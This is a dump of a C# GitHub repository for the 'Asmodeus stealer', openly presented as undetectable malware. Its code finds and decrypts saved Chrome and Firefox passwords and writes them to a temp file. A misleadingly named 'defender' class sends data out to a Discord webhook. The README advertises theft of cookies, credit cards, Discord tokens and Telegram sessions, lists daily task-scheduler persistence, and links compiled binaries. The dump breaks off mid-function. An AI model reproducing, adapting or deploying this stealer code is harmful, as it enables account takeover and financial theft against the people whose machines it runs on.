├── ChromePassDecrypter.dll ├── FodyWeavers.xml ├── BrowserLoginData.cs ├── defender.cs ├── packages.config ├── LICENSE ├── FirefoxLoginsJSON.cs ├── Options.cs ├── App.config ├── README.md ├── app.manifest ├── ChromeDatabaseDecryptor.cs ├── FodyWeavers.xsd ├── MainHelper.cs └── FirefoxDatabaseDecryptor.cs /ChromePassDecrypter.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/exploitblizzard/Asmodeus-stealer/HEAD/ChromePassDecrypter.dll -------------------------------------------------------------------------------- /FodyWeavers.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | SQLite.Interop 6 | 7 | 8 | SQLite.Interop 9 | 10 | 11 | -------------------------------------------------------------------------------- /BrowserLoginData.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace UploadAFile 7 | { 8 | public class BrowserLoginData 9 | { 10 | public string FormSubmitUrl { get; set; } 11 | public string Username { get; set; } 12 | public string Password { get; set; } 13 | public string Browser { get; set; } 14 | 15 | public BrowserLoginData(string url, string username, string password, string browser) 16 | { 17 | FormSubmitUrl = url; 18 | Username = username; 19 | Password = password; 20 | Browser = browser; 21 | } 22 | 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /defender.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Specialized; 3 | using System.Net; 4 | 5 | public class defender : IDisposable 6 | { 7 | private readonly WebClient dWebClient; 8 | private static NameValueCollection discordValues = new NameValueCollection(); 9 | public string WebHook { get; set; } 10 | public string UserName { get; set; } 11 | public string ProfilePicture { get; set; } 12 | 13 | public defender() 14 | { 15 | dWebClient = new WebClient(); 16 | } 17 | 18 | 19 | public void SendMessage(string msgSend) 20 | { 21 | discordValues.Add("username", UserName); 22 | discordValues.Add("avatar_url", ProfilePicture); 23 | discordValues.Add("content", msgSend); 24 | 25 | dWebClient.UploadValues(WebHook, discordValues); 26 | } 27 | 28 | public void Dispose() 29 | { 30 | dWebClient.Dispose(); 31 | } 32 | } -------------------------------------------------------------------------------- /packages.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Exploit Blizzard 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /FirefoxLoginsJSON.cs: -------------------------------------------------------------------------------- 1 | namespace UploadAFile 2 | 3 | { 4 | public class FirefoxLoginsJSON 5 | { 6 | 7 | public class Rootobject 8 | { 9 | public int NextId { get; set; } 10 | public Login[] Logins { get; set; } 11 | public int Version { get; set; } 12 | public object[] PotentiallyVulnerablePasswords { get; set; } 13 | public Dismissedbreachalertsbyloginguid DismissedBreachAlertsByLoginGUID { get; set; } 14 | } 15 | 16 | public class Dismissedbreachalertsbyloginguid 17 | { 18 | } 19 | 20 | public class Login 21 | { 22 | public int Id { get; set; } 23 | public string Hostname { get; set; } 24 | public string HttpRealm { get; set; } 25 | public string FormSubmitURL { get; set; } 26 | public string UsernameField { get; set; } 27 | public string PasswordField { get; set; } 28 | public string EncryptedUsername { get; set; } 29 | public string EncryptedPassword { get; set; } 30 | public string Guid { get; set; } 31 | public int EncType { get; set; } 32 | public long TimeCreated { get; set; } 33 | public long TimeLastUsed { get; set; } 34 | public long TimePasswordChanged { get; set; } 35 | public int TimesUsed { get; set; } 36 | } 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /Options.cs: -------------------------------------------------------------------------------- 1 | using CommandLine; 2 | 3 | namespace UploadAFile 4 | { 5 | class Options 6 | { 7 | [Option('c', "chrome", HelpText = "Locate and attempt decryption of Google Chrome logins")] 8 | public bool Chrome { get; set; } 9 | 10 | [Option('f', "firefox", HelpText = "Locate and attempt decryption of Mozilla Firefox logins")] 11 | public bool Firefox { get; set; } 12 | 13 | [Option('a', "all", HelpText = "Locate and attempt decryption of Google Chrome and Mozilla Firefox logins")] 14 | public bool All { get; set; } 15 | 16 | [Option('p', "password", HelpText = "Master password for Mozilla Firefox Logins")] 17 | public string Password { get; set; } 18 | 19 | [Option('o', "outfile", HelpText = "write output to csv file")] 20 | public string Outfile { get; set; } 21 | 22 | [Option("help", HelpText = "Display Help Message")] 23 | public bool Help { get; set; } 24 | 25 | public Options() 26 | { 27 | Chrome = false; 28 | Firefox = false; 29 | All = false; 30 | Password = ""; 31 | Outfile = ""; 32 | Help = false; 33 | 34 | } 35 | 36 | public bool CheckIfNoArgs() 37 | { 38 | if ((Chrome.Equals(false)) && (Firefox.Equals(false))&& (All.Equals(false)) && (Help.Equals(false))) 39 | { 40 | return true; 41 | } 42 | else 43 | { 44 | return false; 45 | } 46 | } 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |
6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 |

3 | Stealer written on C#

4 | This malware is un-killable and fully undetectable by antivirus, developed by Kingsman. It steals the browser passwords, Discord Tokens & Telegram data and sends it to drop-box using dropbox-Api. 5 |

6 | 7 | *** 8 |

exploitblizzard

9 | 10 |

exploitblizzard

11 | 12 |

Connect with me:

13 |

14 | exploitblizzard 15 | https://www.youtube.com/channel/uckf4ihtdsy-cmgvphlhl50a 16 | https://discord.com/invite/N52JqGb 17 |

18 | 19 |

Languages & Tools used:

20 |

dropbox csharp

21 | 22 | # 💭 Must Read 23 | I have made the complete project online asmodeus stealer v1.1 (pazuzu). Do join our discord server 24 |

25 | 26 | *** 27 | 28 | # :construction: Disclaimer 29 | I, the creator, am not responsible for any actions, and or damages, caused by this software. 30 | You bear the full responsibility of your actions and acknowledge that this software was created for educational purposes only. 31 | This software's main purpose is NOT to be used maliciously, or on any system that you do not own, or have the right to use. 32 | By using this software, you automatically agree to the above. 33 | 34 | *** 35 | 36 | # ⭐ Features 37 | * Steal system info 38 | * Telegram sessions - hijack victim's telegram account 39 | * Chromium based browsers password 40 | * Gecko based browsers(firefox) password 41 | * Chrome Cookies 42 | * Stored Credit Cards in Chrome 43 | * Firefox cookies 44 | * Discord Tokens 45 | * Task Scheduler runs every day 46 | * Auto startup 47 | * Get results over discord & token over discord 48 | 49 | *** 50 | 51 | ## [💽 Download compiled exe and source code](https://github.com/exploitblizzard/Asmodeus-stealer/releases/) 52 | 53 | 54 | *** 55 | 56 | # 🔜 Upcoming features 57 | * Defender control v1.8 / defender inject feature 58 | * Fusion with any RAT or Converting this into RAT 😈 59 | -------------------------------------------------------------------------------- /app.manifest: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 52 | 59 | 60 | 61 | 75 | 76 | 77 | -------------------------------------------------------------------------------- /ChromeDatabaseDecryptor.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Data.SQLite; 4 | using System.IO; 5 | using System.Security.Cryptography; 6 | using System.Text; 7 | 8 | namespace UploadAFile 9 | 10 | { 11 | public class ChromeDatabaseDecryptor 12 | { 13 | private string FilePath { get; set; } 14 | public List ChromeLoginDataList { get; set; } 15 | 16 | public ChromeDatabaseDecryptor(string databaseFilePath) 17 | { 18 | SQLiteConnection connection; 19 | 20 | //Attempt connection to the 'Login Data' database file and decrypt its contents 21 | try 22 | { 23 | connection = ChromeDatabaseConnection(databaseFilePath); 24 | ChromeDatabaseDecrypt(connection); 25 | connection.Dispose(); 26 | } 27 | //If unable to connect, copy the database to a temp directory and access the copied version of the db file 28 | catch (SQLiteException) 29 | { 30 | string tempDatabaseFilePath = Path.GetTempPath() + "Login Data"; 31 | 32 | Console.ForegroundColor = ConsoleColor.Red; 33 | Console.WriteLine($"[-] Unable to access database file. Copying it to temporary location at:\n\t{Path.GetTempPath()}"); 34 | Console.ResetColor(); 35 | 36 | File.Copy(databaseFilePath, tempDatabaseFilePath, true); 37 | 38 | connection = ChromeDatabaseConnection(tempDatabaseFilePath); 39 | ChromeDatabaseDecrypt(connection); 40 | 41 | //The program will maintain a handle to the temp database file despite database connection disposal. Garbage collection necessary to release the temp file for deletion 42 | GC.Collect(); 43 | GC.WaitForPendingFinalizers(); 44 | File.Delete(tempDatabaseFilePath); 45 | } 46 | } 47 | 48 | private SQLiteConnection ChromeDatabaseConnection(string databaseFilePath) 49 | { 50 | FilePath = databaseFilePath; 51 | SQLiteConnection sqliteConnection = new SQLiteConnection( 52 | $"Data Source={FilePath};" + 53 | $"Version=3;" + 54 | $"New=True"); 55 | 56 | ChromeLoginDataList = new List(); 57 | 58 | sqliteConnection.Open(); 59 | 60 | return sqliteConnection; 61 | } 62 | 63 | private void ChromeDatabaseDecrypt(SQLiteConnection sqliteConnection) 64 | { 65 | SQLiteCommand sqliteCommand = sqliteConnection.CreateCommand(); 66 | sqliteCommand.CommandText = "SELECT action_url, username_value, password_value FROM logins"; 67 | SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader(); 68 | 69 | //Iterate over each returned row from the query 70 | while (sqliteDataReader.Read()) 71 | { 72 | //Store columns as variables 73 | string formSubmitUrl = sqliteDataReader.GetString(0); 74 | 75 | //Avoid Printing empty rows 76 | if (string.IsNullOrEmpty(formSubmitUrl)) 77 | { 78 | continue; 79 | } 80 | 81 | string username = sqliteDataReader.GetString(1); 82 | byte[] password = (byte[])sqliteDataReader[2]; //Cast to byteArray for DPAPI decryption 83 | 84 | try 85 | { 86 | //DPAPI Decrypt - Requires System.Security.dll and System.Security.Cryptography 87 | byte[] decryptedBytes = ProtectedData.Unprotect(password, null, DataProtectionScope.CurrentUser); 88 | string decryptedPasswordString = Encoding.ASCII.GetString(decryptedBytes); 89 | 90 | BrowserLoginData loginData = new BrowserLoginData(formSubmitUrl, username, decryptedPasswordString, "Chrome"); 91 | ChromeLoginDataList.Add(loginData); 92 | } 93 | catch (Exception e) 94 | { 95 | Console.ForegroundColor = ConsoleColor.Red; 96 | Console.WriteLine($"[!] Error Decrypting Password: Exception {e}"); 97 | Console.ResetColor(); 98 | } 99 | } 100 | sqliteDataReader.Close(); 101 | sqliteConnection.Dispose(); 102 | } 103 | } 104 | } -------------------------------------------------------------------------------- /FodyWeavers.xsd: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks 13 | 14 | 15 | 16 | 17 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. 18 | 19 | 20 | 21 | 22 | A list of unmanaged 32 bit assembly names to include, delimited with line breaks. 23 | 24 | 25 | 26 | 27 | A list of unmanaged 64 bit assembly names to include, delimited with line breaks. 28 | 29 | 30 | 31 | 32 | The order of preloaded assemblies, delimited with line breaks. 33 | 34 | 35 | 36 | 37 | 38 | This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. 39 | 40 | 41 | 42 | 43 | Controls if .pdbs for reference assemblies are also embedded. 44 | 45 | 46 | 47 | 48 | Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. 49 | 50 | 51 | 52 | 53 | As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. 54 | 55 | 56 | 57 | 58 | Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. 59 | 60 | 61 | 62 | 63 | Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. 64 | 65 | 66 | 67 | 68 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | 69 | 70 | 71 | 72 | 73 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. 74 | 75 | 76 | 77 | 78 | A list of unmanaged 32 bit assembly names to include, delimited with |. 79 | 80 | 81 | 82 | 83 | A list of unmanaged 64 bit assembly names to include, delimited with |. 84 | 85 | 86 | 87 | 88 | The order of preloaded assemblies, delimited with |. 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. 97 | 98 | 99 | 100 | 101 | A comma-separated list of error codes that can be safely ignored in assembly verification. 102 | 103 | 104 | 105 | 106 | 'false' to turn off automatic generation of the XML Schema file. 107 | 108 | 109 | 110 | 111 | -------------------------------------------------------------------------------- /MainHelper.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | using System.Security.Principal; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | 9 | namespace UploadAFile 10 | { 11 | class MainHelper 12 | { 13 | 14 | 15 | public static bool IsAdministrator() 16 | { 17 | var identity = WindowsIdentity.GetCurrent(); 18 | var principal = new WindowsPrincipal(identity); 19 | return principal.IsInRole(WindowsBuiltInRole.Administrator); 20 | } 21 | 22 | public static List GetChromePasswords(string userAccountName) 23 | { 24 | List chromeProfiles = FindChromeProfiles(); 25 | 26 | List loginDataList = new List(); 27 | 28 | foreach (string chromeProfile in chromeProfiles) 29 | { 30 | var userName = Environment.UserName; 31 | var storedpass = "C:\\Users\\" + userName + "\\AppData\\Local\\Temp\\blizzard.txt"; 32 | string loginDataFile = chromeProfile + @"\Login Data"; 33 | if (File.Exists(loginDataFile)) 34 | { 35 | Console.ForegroundColor = ConsoleColor.Green; 36 | Console.WriteLine($"[+] Found Chrome credential database for user: \"{userAccountName}\" at: \"{loginDataFile}\""); 37 | Console.ResetColor(); 38 | 39 | ChromeDatabaseDecryptor decryptor = new ChromeDatabaseDecryptor(loginDataFile); 40 | 41 | loginDataList = (loginDataList.Concat(decryptor.ChromeLoginDataList)).ToList(); 42 | /*using (StreamWriter sw = File.AppendText(storedpass)) 43 | { 44 | sw.WriteLine(loginDataList); 45 | } 46 | Console.ReadLine();*/ 47 | } 48 | else 49 | { 50 | Console.ForegroundColor = ConsoleColor.Red; 51 | Console.WriteLine($"[-] No credential database found in chrome profile {chromeProfile}"); 52 | Console.ResetColor(); 53 | } 54 | } 55 | 56 | return loginDataList; 57 | } 58 | 59 | public static List FindChromeProfiles() 60 | { 61 | string localAppData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); 62 | string chromeDirectory = localAppData + @"\Google\Chrome\User Data"; 63 | 64 | List profileDirectories = new List(); 65 | 66 | if (Directory.Exists(chromeDirectory)) 67 | { 68 | //Add default profile location once existence of chrome directory is confirmed 69 | profileDirectories.Add(chromeDirectory + "\\Default"); 70 | foreach (string directory in Directory.GetDirectories(chromeDirectory)) 71 | { 72 | if (directory.Contains("Profile ")) 73 | { 74 | profileDirectories.Add(directory); 75 | 76 | } 77 | } 78 | } 79 | 80 | return profileDirectories; 81 | } 82 | 83 | //Overload for case where master password is set 84 | public static List GetFirefoxPasswords(string userAccountName, string masterPassword) 85 | { 86 | List loginDataList = new List(); 87 | 88 | foreach (string profile in FindFirefoxProfiles(userAccountName)) 89 | { 90 | FirefoxDatabaseDecryptor decryptor = new FirefoxDatabaseDecryptor(profile, masterPassword); 91 | 92 | try 93 | { 94 | //Take the list of logins from this decryptor and add them to the total list of logins 95 | loginDataList = (loginDataList.Concat(decryptor.FirefoxLoginDataList)).ToList(); 96 | } 97 | catch (ArgumentNullException) 98 | { 99 | //ArgumentNullException will be thrown when no key4.db file exists in a profile directory 100 | } 101 | 102 | } 103 | 104 | return loginDataList; 105 | } 106 | 107 | public static List FindFirefoxProfiles(string userAccountName) 108 | { 109 | //List to store profile directories 110 | List profileDirectories = new List(); 111 | 112 | //Roaming directory contains most firefox artifacts apart from cache 113 | string roamingDir = $"C:\\Users\\{userAccountName}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"; 114 | 115 | //Check roaming profile 116 | if (Directory.Exists(roamingDir)) 117 | { 118 | 119 | string[] roamingProfiles = Directory.GetDirectories(roamingDir); 120 | foreach (string directory in roamingProfiles) 121 | { 122 | profileDirectories.Add(directory); 123 | } 124 | } 125 | 126 | return profileDirectories; 127 | } 128 | 129 | public static string GetCurrentUser() 130 | { 131 | //Get username for currently running account (SamCompatible Enum format) 132 | string userAccountSamCompatible = System.Security.Principal.WindowsIdentity.GetCurrent().Name; 133 | 134 | //Remove domain and backslashes from name 135 | int index = userAccountSamCompatible.IndexOf("\\", 0, userAccountSamCompatible.Length) + 1; 136 | string userAccountName = userAccountSamCompatible.Substring(index); 137 | 138 | return userAccountName; 139 | } 140 | 141 | public static void PrintLoginsToConsole(List loginDataList) 142 | { 143 | var userName = Environment.UserName; 144 | var storedpass = "C:\\Users\\" + userName + "\\AppData\\Local\\Temp\\blizzard.txt"; 145 | 146 | string line = new string('=', 60); 147 | 148 | Console.ForegroundColor = ConsoleColor.White; 149 | using (StreamWriter sw = File.AppendText(storedpass)) 150 | { 151 | sw.WriteLine(line); 152 | } 153 | 154 | 155 | using (StreamWriter sw = File.AppendText(storedpass)) 156 | { 157 | foreach (BrowserLoginData loginData in loginDataList) 158 | { 159 | 160 | sw.WriteLine($"URL {loginData.FormSubmitUrl}"); 161 | sw.WriteLine($"Username {loginData.Username}"); 162 | sw.WriteLine($"Password {loginData.Password}"); 163 | sw.WriteLine($"Browser {loginData.Browser}"); 164 | sw.WriteLine(line); 165 | } 166 | } 167 | Console.ResetColor(); 168 | } 169 | /* 170 | public static void PrintHelpToConsole() 171 | { 172 | Console.ForegroundColor = ConsoleColor.White; 173 | Console.WriteLine("OPTIONS:"); 174 | Console.WriteLine(" -c, --chrome Locate and decrypt Google Chrome logins\n"); 175 | Console.WriteLine(" -f, --firefox Locate and decrypt Mozilla Firefox logins\n"); 176 | Console.WriteLine(" -a, --all Locate and decrypt Google Chrome and Mozilla Firefox logins\n"); 177 | Console.WriteLine(" -p, --password (Optional) Master password for Mozilla Firefox Logins\n"); 178 | Console.WriteLine(" -o, --outfile Write output to csv\n"); 179 | Console.WriteLine(" --help Display help message"); 180 | 181 | Console.ResetColor(); 182 | } 183 | */ 184 | public static void WriteToCSV(List loginDataList, string outfile) 185 | { 186 | Console.ForegroundColor = ConsoleColor.Yellow; 187 | Console.WriteLine($"[*] Writing decrypted logins to {outfile}"); 188 | Console.ResetColor(); 189 | 190 | try 191 | { 192 | using (StreamWriter file = new StreamWriter(outfile)) 193 | { 194 | file.WriteLine("URL,Username,Password,Browser"); 195 | 196 | foreach (BrowserLoginData loginData in loginDataList) 197 | { 198 | file.WriteLine($"{loginData.FormSubmitUrl}," + 199 | $"{loginData.Username}," + 200 | $"{loginData.Password}," + 201 | $"{loginData.Browser}"); 202 | } 203 | } 204 | } 205 | catch (Exception e) 206 | { 207 | Console.ForegroundColor = ConsoleColor.Red; 208 | Console.WriteLine(e); 209 | Console.ResetColor(); 210 | } 211 | } 212 | } 213 | } 214 | -------------------------------------------------------------------------------- /FirefoxDatabaseDecryptor.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Data.SQLite; 5 | using System.IO; 6 | using System.Linq; 7 | using System.Security.Cryptography; 8 | using System.Text; 9 | 10 | namespace UploadAFile 11 | { 12 | public class FirefoxDatabaseDecryptor 13 | { 14 | private string ProfileDir { get; set; } 15 | private string Key4dbpath { get; set; } 16 | private byte[] GlobalSalt { get; set; } 17 | private byte[] EntrySaltPasswordCheck { get; set; } 18 | private byte[] EntrySalt3DESKey { get; set; } 19 | private byte[] CipherTextPasswordCheck { get; set; } 20 | private byte[] CipherText3DESKey { get; set; } 21 | private string MasterPassword { get; set; } 22 | private byte[] DecryptedPasswordCheck { get; set; } 23 | private byte[] Decrypted3DESKey { get; set; } 24 | public List FirefoxLoginDataList { get; set; } 25 | 26 | public FirefoxDatabaseDecryptor(string profile, string password) 27 | { 28 | ProfileDir = profile; 29 | Key4dbpath = ProfileDir + @"\key4.db"; 30 | MasterPassword = password; 31 | 32 | //Check profile for key4 database before attempting decryption 33 | if (File.Exists(Key4dbpath)) 34 | { 35 | Console.ForegroundColor = ConsoleColor.Green; 36 | Console.WriteLine($"[+] Found Firefox credential database at: \"{Key4dbpath}\""); 37 | Console.ResetColor(); 38 | 39 | // If Firefox version >= 75.0, asn.1 parser will throw IndexOutOfRange exception when trying to parse encrypted data as asn.1 DER encoded 40 | try 41 | { 42 | Key4DatabaseConnection(Key4dbpath); 43 | } 44 | catch(IndexOutOfRangeException e) 45 | { 46 | Console.ForegroundColor = ConsoleColor.Red; 47 | Console.WriteLine($"[-] Could not correctly parse the contents of {Key4dbpath} - possibly incorrect Firefox version."); 48 | Console.ResetColor(); 49 | } 50 | 51 | 52 | //Store a RootObject from FirefoxLoginsJSON (hopefully) containing multiple FirefoxLoginsJSON.Login instances 53 | FirefoxLoginsJSON.Rootobject JSONLogins = GetJSONLogins(ProfileDir); 54 | 55 | //Decrypt password-check value to ensure correct decryption 56 | DecryptedPasswordCheck = Decrypt3DES(GlobalSalt, EntrySaltPasswordCheck, CipherTextPasswordCheck, MasterPassword); 57 | 58 | if (PasswordCheck(DecryptedPasswordCheck)) 59 | { 60 | //Decrypt master key (this becomes padded EDE key for username / password decryption) 61 | //Master key should have 8 bytes of PKCS#7 Padding 62 | Decrypted3DESKey = Decrypt3DES(GlobalSalt, EntrySalt3DESKey, CipherText3DESKey, MasterPassword); 63 | 64 | //Check for PKCS#7 padding and remove if it exists 65 | Decrypted3DESKey = Unpad(Decrypted3DESKey); 66 | 67 | FirefoxLoginDataList = new List(); 68 | 69 | Console.ForegroundColor = ConsoleColor.Yellow; 70 | foreach (FirefoxLoginsJSON.Login login in JSONLogins.Logins) 71 | { 72 | try 73 | { 74 | if (!(login.FormSubmitURL.Equals(null))) 75 | { 76 | byte[] usernameBytes = Convert.FromBase64String(login.EncryptedUsername); 77 | byte[] passwordBytes = Convert.FromBase64String(login.EncryptedPassword); 78 | 79 | ASN1 usernameASN1 = new ASN1(usernameBytes); 80 | 81 | byte[] usernameIV = usernameASN1.RootSequence.Sequences[0].Sequences[0].OctetStrings[0]; 82 | byte[] usernameEncrypted = usernameASN1.RootSequence.Sequences[0].Sequences[0].OctetStrings[1]; 83 | 84 | //Extract password ciphertext from logins.json 85 | ASN1 passwordASN1 = new ASN1(passwordBytes); 86 | 87 | byte[] passwordIV = passwordASN1.RootSequence.Sequences[0].Sequences[0].OctetStrings[0]; 88 | byte[] passwordEncrypted = passwordASN1.RootSequence.Sequences[0].Sequences[0].OctetStrings[1]; 89 | 90 | string decryptedUsername = Encoding.UTF8.GetString(Unpad(Decrypt3DESLogins(usernameEncrypted, usernameIV, Decrypted3DESKey))); 91 | string decryptedPassword = Encoding.UTF8.GetString(Unpad(Decrypt3DESLogins(passwordEncrypted, passwordIV, Decrypted3DESKey))); 92 | 93 | BrowserLoginData loginData = new BrowserLoginData(login.FormSubmitURL, decryptedUsername, decryptedPassword, "Firefox"); 94 | FirefoxLoginDataList.Add(loginData); 95 | } 96 | } 97 | catch (NullReferenceException) 98 | { 99 | 100 | } 101 | } 102 | Console.ResetColor(); 103 | } 104 | } 105 | else 106 | { 107 | Console.ForegroundColor = ConsoleColor.Red; 108 | Console.WriteLine($"[-] No credential database found for Firefox profile: {ProfileDir}"); 109 | Console.ResetColor(); 110 | } 111 | } 112 | 113 | // read logins.json file and deserialize the JSON into FirefoxLoginsJSON class 114 | public FirefoxLoginsJSON.Rootobject GetJSONLogins(string profileDir) 115 | { 116 | 117 | if (File.Exists(profileDir + @"\logins.json")) 118 | { 119 | //Read logins.json from file and deserialise JSON into FirefoxLoginsJson object 120 | string file = File.ReadAllText(profileDir + @"\logins.json"); 121 | FirefoxLoginsJSON.Rootobject JSONLogins = JsonConvert.DeserializeObject(file); 122 | 123 | return JSONLogins; 124 | } 125 | else 126 | { 127 | throw new FileNotFoundException($"Could not find file '{profileDir}\\logins.json.\nUnable to decrypt logins for this profile.'"); 128 | } 129 | 130 | } 131 | 132 | public void Key4DatabaseConnection(string key4dbPath) 133 | { 134 | SQLiteConnection connection = new SQLiteConnection( 135 | $"Data Source={key4dbPath};" + 136 | $"Version=3;" + 137 | $"New=True"); 138 | 139 | try 140 | { 141 | connection.Open(); 142 | 143 | //First query the metadata table to verify the master password 144 | SQLiteCommand commandPasswordCheck = connection.CreateCommand(); 145 | commandPasswordCheck.CommandText = "SELECT item1, item2 FROM metadata WHERE id = 'password'"; 146 | SQLiteDataReader dataReader = commandPasswordCheck.ExecuteReader(); 147 | 148 | //Parse the ASN.1 data in the 'password' row to extract entry salt and cipher text for master password verification 149 | while (dataReader.Read()) 150 | { 151 | GlobalSalt = (byte[])dataReader[0]; 152 | 153 | //https://docs.microsoft[.]com/en-us/dotnet/api/system.security.cryptography.asnencodeddata?view=netframework-4.8#constructors 154 | byte[] item2Bytes = (byte[])dataReader[1]; 155 | 156 | ASN1 passwordCheckASN1 = new ASN1(item2Bytes); 157 | 158 | EntrySaltPasswordCheck = passwordCheckASN1.RootSequence.Sequences[0].Sequences[0].Sequences[0].OctetStrings[0]; 159 | CipherTextPasswordCheck = passwordCheckASN1.RootSequence.Sequences[0].Sequences[0].Sequences[0].OctetStrings[1]; 160 | } 161 | 162 | //Second, query the nssPrivate table for entry salt and encrypted 3DES key 163 | SQLiteCommand commandNSSPrivateQuery = connection.CreateCommand(); 164 | commandNSSPrivateQuery.CommandText = "SELECT a11 FROM nssPrivate"; 165 | dataReader = commandNSSPrivateQuery.ExecuteReader(); 166 | 167 | //Parse the ASN.1 data from the nssPrivate table to extract entry salt and cipher text for encrypted 3DES master decryption key 168 | while (dataReader.Read()) 169 | { 170 | byte[] a11 = (byte[])dataReader[0]; 171 | 172 | ASN1 masterKeyASN1 = new ASN1(a11); 173 | 174 | EntrySalt3DESKey = masterKeyASN1.RootSequence.Sequences[0].Sequences[0].Sequences[0].OctetStrings[0]; 175 | CipherText3DESKey = masterKeyASN1.RootSequence.Sequences[0].Sequences[0].Sequences[0].OctetStrings[1]; 176 | } 177 | } 178 | catch (IndexOutOfRangeException) 179 | { 180 | 181 | throw new IndexOutOfRangeException(); 182 | } 183 | catch (Exception e) 184 | { 185 | Console.ForegroundColor = ConsoleColor.Red; 186 | Console.WriteLine($"[-] {e.Message}"); 187 | Console.ResetColor(); 188 | } 189 | finally 190 | { 191 | connection.Dispose(); 192 | } 193 | } 194 | 195 | public static byte[] Decrypt3DES(byte[] globalSalt, byte[] entrySalt, byte[] cipherText, string masterPassword) 196 | { 197 | //https://github[.]com/lclevy/firepwd/blob/master/mozilla_pbe.pdf 198 | 199 | byte[] password = Encoding.UTF8.GetBytes(masterPassword); 200 | byte[] hashedPassword; 201 | byte[] keyFirstHalf; 202 | byte[] keySecondHalf; 203 | byte[] edeKey; 204 | byte[] decryptedResult; 205 | 206 | //Hashed Password = SHA1(salt + password) 207 | byte[] hashedPasswordBuffer = new byte[globalSalt.Length + password.Length]; 208 | //Copy salt into first chunk of new buffer 209 | Buffer.BlockCopy(globalSalt, 0, hashedPasswordBuffer, 0, globalSalt.Length); 210 | //Copy password into second chunk of buffer 211 | Buffer.BlockCopy(password, 0, hashedPasswordBuffer, globalSalt.Length, password.Length); 212 | hashedPassword = hashedPasswordBuffer; 213 | 214 | using (SHA1 sha1 = new SHA1CryptoServiceProvider()) 215 | { 216 | hashedPassword = sha1.ComputeHash(hashedPassword); 217 | } 218 | 219 | //Combined Hashed Password = SHA1(hashedpassword + entrysalt) 220 | byte[] combinedHashedPassword = new byte[hashedPassword.Length + entrySalt.Length]; 221 | Buffer.BlockCopy(hashedPassword, 0, combinedHashedPassword, 0, hashedPassword.Length); 222 | Buffer.BlockCopy(entrySalt, 0, combinedHashedPassword, hashedPassword.Length, entrySalt.Length); 223 | 224 | using (SHA1 sha1 = new SHA1CryptoServiceProvider()) 225 | { 226 | combinedHashedPassword = sha1.ComputeHash(combinedHashedPassword); 227 | } 228 | 229 | //Create paddedEntrySalt 230 | byte[] paddedEntrySalt = new byte[20]; 231 | Buffer.BlockCopy(entrySalt, 0, paddedEntrySalt, 0, entrySalt.Length); 232 | 233 | //Create and join the two halves of the encryption key 234 | try 235 | { 236 | using (HMACSHA1 hmac = new HMACSHA1(combinedHashedPassword)) 237 | { 238 | //First half of EDE Key = HMAC-SHA1( key=combinedHashedPassword, 